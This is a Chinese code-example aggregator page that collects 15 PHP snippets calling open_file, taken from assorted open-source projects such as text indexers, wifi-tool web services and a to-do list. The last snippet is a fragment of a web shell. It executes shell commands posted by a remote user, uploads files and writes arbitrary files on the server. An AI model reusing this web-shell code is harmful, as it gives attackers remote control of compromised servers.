当前位置: 首页>>代码示例>>PHP>>正文


PHP open_file函数代码示例

本文整理汇总了PHP中open_file函数的典型用法代码示例。如果您正苦于以下问题:PHP open_file函数的具体用法?PHP open_file怎么用?PHP open_file使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了open_file函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: get_inff_dir

function get_inff_dir($dirpath)
{
    $rarr = null;
    // массив , необходимые индексы для которого и выясеняет данная функция читая их из файла
    $str = "";
    // строка в которую будет помещаться имя каждого тэга считанного из текстового файла
    if ($rarr = scandir($dirpath)) {
        array_flip($rarr);
        foreach ($rarr as $key => $value) {
            $rarr[$key] = array("dfg" => "fds");
        }
        $isinfo = FALSE;
    }
    $fdata = open_file($path, "r");
    while (!feof($fdata)) {
        $simb = fgetc($fdata);
        // читаем файл посимвольно.
        if ($simb != "\r" && $simb != "\n") {
            $str = $str . $simb;
        } else {
            if ($simb == "\r") {
                $rarr[$str] = null;
                $str = "";
            }
        }
    }
    return $rarr;
}
开发者ID:laiello,项目名称:world-shared-folders,代码行数:28,代码来源:parser_lib.php

示例2: add_txt

function add_txt($file, $name, $uid, $textassoc = null, $start = 0, $end = 0)
{
    // open the file
    $filestr = open_file($file);
    // =========== GENERALIZE THIS PLZ =======================================
    // arrayify the text into canonical array form
    $acanon = str_to_array($filestr, "[^a-zA-Z0-9_\\s]");
    // get the hash of the text
    $hash = count_words($acanon);
    // get counts of uniques, hapax, ...
    $counts = get_counts($hash);
    // get a unique text hash to be used as location data
    $thash = file_id($uid, $name, $filestr);
    // must build aarray to send to db add function
    $data['name'] = $name;
    $data['words'] = $hash;
    $data['user'] = $uid;
    $data['counts'] = $counts;
    $data['start'] = $start;
    $data['end'] = $end ? $end : $counts['total'] - 1;
    $data['assoc'] = $textassoc;
    $data['canon'] = $filestr;
    $data['hash'] = $thash;
    // call the add function in MODQUERY and retrive the text_id
    $tid = add_text_to_db($data);
    return $tid;
}
开发者ID:raffled,项目名称:Lexomics,代码行数:27,代码来源:counter.php

示例3: notify

 public function notify()
 {
     $data['post'] = $_POST;
     $data['get'] = $_GET;
     $data['env'] = $_ENV;
     $data['requst'] = $_REQUEST;
     open_file($data, 'wxpay');
 }
开发者ID:976112643,项目名称:manor,代码行数:8,代码来源:WxpayController.class.php

示例4: tfile_to_str

function tfile_to_str($path)
{
    $str = "";
    $fdata = open_file($path, "r");
    while (!feof($fdata)) {
        $simb = fgetc($fdata);
        // read file charecter by character
        $str = $str . $simb;
    }
    // по окончании этого цикла в переменной $str мы размещаем всё содержимое файла метаинформации.
    return $str;
}
开发者ID:laiello,项目名称:world-shared-folders,代码行数:12,代码来源:common_lib.php

示例5: getScanStation

 public function getScanStation()
 {
     include "functions.php";
     include "../../../config/config.php";
     $data = open_file("/usr/share/fruitywifi/logs/dhcp.leases");
     $out = explode("\n", $data);
     $leases = [];
     for ($i = 0; $i < count($out); $i++) {
         $temp = explode(" ", $out[$i]);
         $leases[$temp[1]] = array($temp[2], $temp[3]);
     }
     unset($out);
     unset($data);
     $exec = "iw dev {$io_in_iface} station dump | sed -e 's/^\\t/|/g' | tr '\\n' ' ' | sed -e 's/Sta/\\nSta/g' | tr '\\t' ' '";
     $out = exec_fruitywifi($exec);
     $output = [];
     for ($i = 0; $i < count($out); $i++) {
         $station = [];
         $temp = explode("|", $out[$i]);
         if ($temp[0] != "") {
             foreach ($temp as &$value) {
                 unset($sub);
                 if (strpos($value, 'Station ') !== false) {
                     $value = str_replace("Station ", "", $value);
                     $value = explode(" ", $value);
                     $mac = $value[0];
                     $value = "station: " . $value[0];
                     $key_mac = $value[0];
                 }
                 $sub = explode(": ", $value);
                 //$station[] = $sub;
                 //$station[] = array($sub[0] => $sub[1]);
                 $station[$sub[0]] = $sub[1];
             }
             if (array_key_exists($mac, $leases)) {
                 //$station[] = array("ip" => $leases[$mac][0]);
                 //$station[] = array("hostname" => $leases[$mac][1]);
                 $station["ip"] = $leases[$mac][0];
                 $station["hostname"] = $leases[$mac][1];
             } else {
                 //$station[] = array("ip" => "");
                 //$station[] = array("hostname" => "");
                 $station["ip"] = "";
                 $station["hostname"] = "";
             }
             //$output[] = $station;
             $output[] = $station;
         }
     }
     echo json_encode($output);
 }
开发者ID:xtr4nge,项目名称:module_ap,代码行数:51,代码来源:ws.php

示例6: index

function index($datapath, $dbpath)
{
    // Create or open the database we're going to be writing to.
    $db = new XapianWritableDatabase($dbpath, Xapian::DB_CREATE_OR_OPEN);
    // Set up a TermGenerator that we'll use in indexing
    $termgenerator = new XapianTermGenerator();
    $termgenerator->set_stemmer(new XapianStem('en'));
    // open the file
    $fH = open_file($datapath);
    //    Read the header row in
    $headers = get_csv_headers($fH);
    while (($row = parse_csv_row($fH, $headers)) !== false) {
        // mapping from field name to value using first row headers
        // We're just going to use id_NUMBER, TITLE and DESCRIPTION
        $description = $row['DESCRIPTION'];
        $title = $row['TITLE'];
        $identifier = $row['id_NUMBER'];
        $collection = $row['COLLECTION'];
        $maker = $row['MAKER'];
        // we make a document and tell the term generator to use this
        $doc = new XapianDocument();
        $termgenerator->set_document($doc);
        // index each field with a suitable prefix
        $termgenerator->index_text($title, 1, 'S');
        $termgenerator->index_text($description, 1, 'XD');
        // index fields without prefixes for general search
        $termgenerator->index_text($title);
        $termgenerator->increase_termpos();
        $termgenerator->index_text($description);
        ### Start of new indexing code.
        // index the MATERIALS field, splitting on semicolons
        $materials = explode(";", $row['MATERIALS']);
        foreach ($materials as $material) {
            $material = strtolower(trim($material));
            if ($material != '') {
                $doc->add_boolean_term('XM' . $material);
            }
        }
        ### End of new indexing code.
        // store all the fields for display purposes
        $doc->set_data(json_encode($row));
        // we use the identifier to ensure each object ends up
        // in the database only once no matter how many times
        // we run the indexer
        $idterm = "Q" . $identifier;
        $doc->add_term($idterm);
        $db->replace_document($idterm, $doc);
    }
}
开发者ID:Averroes,项目名称:xapian-docsprint,代码行数:49,代码来源:index_filters.php

示例7: scanRecon

 public function scanRecon()
 {
     //include "functions.php";
     $exec = "python scan-recon.py -i mon0 ";
     //$out = exec_fruitywifi($exec);
     $data = open_file("/usr/share/fruitywifi/logs/wifirecon.log");
     $out = explode("\n", $data);
     $output = [];
     for ($i = 0; $i < count($out); $i++) {
         $ap = [];
         $temp = explode(",", $out[$i]);
         //if ($temp[0] != "")
         //{
         foreach ($temp as &$value) {
             $ap[] = $value;
         }
         $output[] = $ap;
         //}
     }
     echo json_encode($output);
 }
开发者ID:xtr4nge,项目名称:module_wifirecon,代码行数:21,代码来源:ws.php

示例8: index

function index($datapath, $dbpath)
{
    // Create or open the database we're going to be writing to.
    $db = new XapianWritableDatabase($dbpath, Xapian::DB_CREATE_OR_OPEN);
    // Set up a TermGenerator that we'll use in indexing.
    $termgenerator = new XapianTermGenerator();
    $termgenerator->set_stemmer(new XapianStem('english'));
    // Open the file.
    $fH = open_file($datapath);
    // Read the header row in.
    $headers = get_csv_headers($fH);
    while (($row = parse_csv_row($fH, $headers)) !== false) {
        // '$row' maps field name to value.  The field names come from the
        // first row of the CSV file.
        //
        // We're just going to use DESCRIPTION, TITLE and id_NUMBER.
        $description = $row['DESCRIPTION'];
        $title = $row['TITLE'];
        $identifier = $row['id_NUMBER'];
        // We make a document and tell the term generator to use this.
        $doc = new XapianDocument();
        $termgenerator->set_document($doc);
        // Index each field with a suitable prefix.
        $termgenerator->index_text($title, 1, 'S');
        $termgenerator->index_text($description, 1, 'XD');
        // Index fields without prefixes for general search.
        $termgenerator->index_text($title);
        $termgenerator->increase_termpos();
        $termgenerator->index_text($description);
        // Store all the fields for display purposes.
        $doc->set_data(json_encode($row));
        // We use the identifier to ensure each object ends up in the
        // database only once no matter how many times we run the
        // indexer.
        $idterm = "Q" . $identifier;
        $doc->add_boolean_term($idterm);
        $db->replace_document($idterm, $doc);
    }
}
开发者ID:ankitkumr10,项目名称:xapian-docsprint,代码行数:39,代码来源:index1.php

示例9: foreach

    $tab_directive = $dom->get_elements_by_tagname('directive');
    foreach ($tab_directive as $lign) {
        if ($lign->get_attribute('id') == $dir_id) {
            $directive = $lign;
        }
    }
    $parent = $directive->parent_node();
    $parent->remove_child($directive);
    $dom->dump_file($file);
    release_file($file);
    echo "<html><body onload=\"window.open('../index.php','main')\"></body></html>";
} elseif ($query == "add_directive") {
    $cat_id = $_GET['id'];
    $category = get_category_by_id($cat_id);
    $XML_FILE = "/etc/ossim/server/" . $category->xml_file;
    $dom = open_file($XML_FILE);
    $id = new_directive_id($category->id);
    $null = NULL;
    $node = $dom->create_element('directive');
    $node->set_attribute('id', $id);
    $node->set_attribute('name', "New directive");
    $node->set_attribute('priority', "0");
    $directive = new Directive($id, "New directive", "0", $null, $node);
    $_SESSION['directive'] = serialize($directive);
    release_file($XML_FILE);
    echo "<html><body onload=\"window.open('../right.php?directive=" . $id . "&level=1&action=edit_dir&id=" . $id . "','right')\"></body></html>";
} elseif ($query == "save_category") {
    $file = '/etc/ossim/server/categories.xml';
    if (!($dom = domxml_open_file($file, DOMXML_LOAD_SUBSTITUTE_ENTITIES))) {
        echo _("Error while parsing the document") . "\n";
        exit;
开发者ID:jhbsz,项目名称:ossimTest,代码行数:31,代码来源:utils.php

示例10: check_server

}
$continue = check_server();
if ($continue === true) {
    print_log("Server OK");
    $continue = record_count();
    if ($continue === true) {
        print_log("Record count {$total_count}");
        $continue = open_file();
        if ($continue === true) {
            print_log("Output file {$current_outfile}");
            while ($this_count <= $total_count && $continue === true) {
                print_log('start:' . $this_count . ' get:' . $get_count . ' wait:' . $wait_time);
                if ($record_count >= $file_split && $file_split > 0) {
                    $chunk_count++;
                    close_file();
                    open_file();
                    print_log("Output chunk file {$current_outfile}");
                    $record_count = 0;
                }
                $start_time = time();
                $continue = get_records();
                $this_count += $get_count;
                $end_time = time();
                $time_dif = $end_time - $start_time;
                if ($time_dif >= $wait_min && $time_dif <= $wait_max) {
                    $wait_time = $time_dif;
                    $wait_time += $wait_add;
                    if ($get_count < $get_max) {
                        $get_count += $get_add;
                    }
                }
开发者ID:nws-cip,项目名称:capture-helpers,代码行数:31,代码来源:capture_get.php

示例11: basename

}
// 4. checks if file was uploaded and uploads file
if (count($_FILES) > 0 && $_FILES['file1']['error'] == 0) {
    //4a. checks if uploaded file is text
    if ($_FILES['file1']['type'] == 'text/plain') {
        //4b. if file is text type
        // Set the destination directory for uploads
        $upload_dir = '/vagrant/sites/todo.dev/public/uploads/';
        // Grab the filename from the uploaded file by using basename
        $filename_up = basename($_FILES['file1']['name']);
        // Create the saved filename using the file's original name and our upload directory
        $saved_filename = $upload_dir . $filename_up;
        // Move the file from the temp location to our uploads directory
        move_uploaded_file($_FILES['file1']['tmp_name'], $saved_filename);
        //4c. merges uploaded file with existing file
        $string_to_add = open_file($saved_filename);
        $array_to_add = explode("\n", $string_to_add);
        $list_array = array_merge($list_array, $array_to_add);
    } else {
        echo "File type must be TXT";
        echo '<script type="text/javascript">alert("type must be txt"); </script>';
    }
}
//6. converts array to string for saving to file
$contents = implode("\n", $list_array);
save_file($filename, $contents);
?>

<html>
<head>
	<title>My HTML todo list</title>
开发者ID:genarogarzajr,项目名称:codeup.dev,代码行数:31,代码来源:todo_list.php

示例12: array

<?php

require 'person_class.php';
require 'overwrite_file_function.php';
require 'open_file_function.php';
$people = array(new student("Mark", "Weiser", 21, 120.65), new student("Alice", "Karl", 20, 200.122), new employee("Jony", "White", 25, 12.522), new student("Ida", "Red", 22, 40.98), new employee("June", "Greed", 18, 70));
overwrite_file();
$arrlength = count($people);
for ($x = 0; $x < $arrlength; $x++) {
    $text = $people[$x]->get_title() . ", " . $people[$x]->get_name() . ", " . $people[$x]->get_surname() . ", " . $people[$x]->get_age() . ", " . $people[$x]->get_balance() . "\n";
    open_file($text);
}
echo "<pre>";
echo file_get_contents("data.txt");
echo "<pre>";
开发者ID:Dre90,项目名称:Web2,代码行数:15,代码来源:index.php

示例13: extract_data

function extract_data($short)
{
    $xml_str = open_file($short);
    $reader = new XMLReader();
    if (!$reader->open($xml_str)) {
        die("Failed to open First Folio");
    }
    $mei = array();
    $num_items = 0;
    $pid = 1;
    $act = 0;
    $scene = 0;
    $line = 0;
    $play = '';
    $person = array();
    $id = $name = '';
    $pers = '';
    $sex = '';
    $role = '';
    while ($reader->read()) {
        if ($reader->nodeType == XMLReader::ELEMENT && $reader->name == 'person') {
            $id = $reader->getAttribute('xml:id');
            $sex = $reader->getAttribute('sex');
            $role = $reader->getAttribute('role');
            $pid++;
        }
        if ($reader->nodeType == XMLReader::ELEMENT && $reader->name == 'persName') {
            if ($reader->getAttribute('type') == "standard") {
                $pers = $reader->readString();
            }
        }
        if ($id) {
            $person[$id] = array('xmlid' => $id, 'name' => $pers, 'snid' => $pid, 'sex' => $sex, 'role' => $role);
        }
        // parse the play sections
        if ($reader->nodeType == XMLReader::ELEMENT && $reader->name == 'div') {
            $divtype = $reader->getAttribute('type');
            if ($divtype == 'act') {
                $act = $reader->getAttribute('n');
                array_push($mei, struct($act, $scene, $divtype, 10 + $act, '', '', ''));
            }
            if ($divtype == 'scene') {
                $scene = $reader->getAttribute('n');
                array_push($mei, struct($act, $scene, $divtype, 50 + $scene, '', '', ''));
            }
        }
        if ($reader->nodeType == XMLReader::ELEMENT && $reader->name == 'sp') {
            $speaker = substr($reader->getAttribute('who'), 1);
        }
        if ($reader->nodeType == XMLReader::ELEMENT && ($reader->name == 'l' || $reader->name == 'p')) {
            $play = 60 + $person[$speaker]['snid'];
            $rhyme = $reader->getAttribute('rhyme');
            $ln = $reader->getAttribute('n');
            if ($play > 60) {
                array_push($mei, struct($act, $scene, $reader->name, $play, $speaker, $rhyme, $ln));
            }
        }
        // get the types of stage direction
        if ($reader->nodeType == XMLReader::ELEMENT && $reader->name == 'stage') {
            $type = $reader->getAttribute('type');
            if ($type == 'entrance') {
                array_push($mei, struct($act, $scene, $reader->name, 101, '', '', ''));
            } else {
                if ($type == 'exit') {
                    array_push($mei, struct($act, $scene, $reader->name, 102, '', '', ''));
                } else {
                    if ($type == 'setting') {
                        array_push($mei, struct($act, $scene, $reader->name, 103, '', '', ''));
                    } else {
                        if ($type == 'business') {
                            array_push($mei, struct($act, $scene, $reader->name, 104, '', '', ''));
                        } else {
                            array_push($mei, struct($act, $scene, $reader->name, 105, '', '', ''));
                        }
                    }
                }
            }
        }
    }
    $reader->close();
    return $person;
}
开发者ID:iaine,项目名称:meiscripts,代码行数:82,代码来源:meitransform.php

示例14: open_file

        
        <!-- OUTPUT -->

        <div id="result-1">
            
			<div>
				<form id="formLogs-Refresh" name="formLogs-Refresh" method="POST" autocomplete="off" action="index.php">
					<input type="submit" value="refresh">
					<br><br>
					<?php 
if ($logfile != "" and $action == "view") {
    $filename = $mod_logs_history . $logfile . ".log";
} else {
    $filename = $mod_logs;
}
$data = open_file($filename);
// REVERSE
$data_array = explode("\n", $data);
$data = implode("\n", array_reverse($data_array));
?>
					<textarea id="output" class="module-content" style="font-family: courier;"><?php 
echo htmlspecialchars($data);
?>
</textarea>
					<input type="hidden" name="type" value="logs">
				</form>
		
			</div>
            
        </div>
	
开发者ID:xtr4nge,项目名称:module_openvpn,代码行数:29,代码来源:index.php

示例15: save_file

}
if ($r_act == "eval") {
    echo "<td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"eval\"><b>Eval</b></td>";
} else {
    echo "<td alling=\"center\"><input type=radio name=\"r_act\" value=\"eval\"><b>Eval</b></td>";
}
echo "<td><input type=submit name=\"b_act\" value=\"Change\"></td></tr></table></form>";
################## ACTION ######################################################
if ($r_act == "nav" or $r_act == NULL) {
    $box = $_POST['box'];
    if ($_POST['b_save']) {
        $res = save_file($_POST['text'], $_POST['fname'], $_POST['dname']);
    } elseif ($_POST['b_new_file']) {
        open_file($_POST['new'], "wb", $_POST['dname']);
    } elseif ($_POST['b_open_file']) {
        open_file($_POST['fname'], "r", $_POST['dname']);
    } elseif ($_POST['b_mail']) {
        $res = "Function under construction!!!!!!!!!";
    } elseif ($_POST['b_run']) {
        chdir($_POST['wdir']);
        $dir = getcwd();
        $res = ex($_POST['cmd']);
    } elseif ($_POST['b_f_file']) {
        chdir($_POST['wdir']);
        $dir = getcwd();
        $res = ex("whereis " . $_POST['ffile']);
    } elseif ($_POST['b_upload']) {
        $s = "Uploading file " . $_POST['lfilename'] . " use the " . $box;
        $res = up_file($_POST['lfilename'], $_POST['tfilename'], $_POST['box']);
    } elseif ($_POST['b_mydb']) {
        //Выводим список БД
开发者ID:Theov,项目名称:webshells,代码行数:31,代码来源:gfs_sh.php


注:本文中的open_file函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。